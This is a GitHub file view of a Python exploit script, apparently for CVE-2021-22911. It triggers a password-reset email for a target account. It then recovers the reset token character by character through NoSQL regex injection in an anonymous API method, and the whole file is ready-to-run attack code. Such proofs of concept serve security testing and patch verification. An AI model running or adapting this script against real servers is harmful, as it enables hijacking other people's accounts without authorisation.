-
Notifications
You must be signed in to change notification settings - Fork 220
/
Copy pathCVE-2021-22911.py
63 lines (53 loc) · 1.65 KB
/
CVE-2021-22911.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import sys
import time
import string
import json
import requests
guess = '-_' + string.digits + string.ascii_letters
session = requests.session()
session.headers = {
'Content-Type': 'application/json',
}
def reset_password(target: str, email: str):
payload = {
'msg': 'method',
'method': 'sendForgotPasswordEmail',
'params': [email],
}
session.post(
f'{target}/api/v1/method.callAnon/sendForgotPasswordEmail',
json={'message': json.dumps(payload)},
)
sys.stdout.write("[+] Password Reset Email Sent\n")
sys.stdout.flush()
def inject_token(target: str):
payload = {
'msg': 'method',
'method': 'getPasswordPolicy',
'params': [
{
'token': {'$regex': '^'}
}
],
}
for i in range(43):
current = payload['params'][0]['token']['$regex']
sys.stdout.write(f'[*] Guess No.{i + 1} character: ')
for ch in guess:
payload['params'][0]['token']['$regex'] = current + ch
response = session.post(
f'{target}/api/v1/method.callAnon/getPasswordPolicy',
json={'message': json.dumps(payload)},
)
if b'Meteor.Error' not in response.content:
sys.stdout.write(f"\n[+] Current token is {payload['params'][0]['token']['$regex'][1:]}\n")
sys.stdout.flush()
break
else:
sys.stdout.write('.')
sys.stdout.flush()
time.sleep(1.5)
if __name__ == '__main__':
target = sys.argv[1]
reset_password(target, sys.argv[2])
inject_token(target)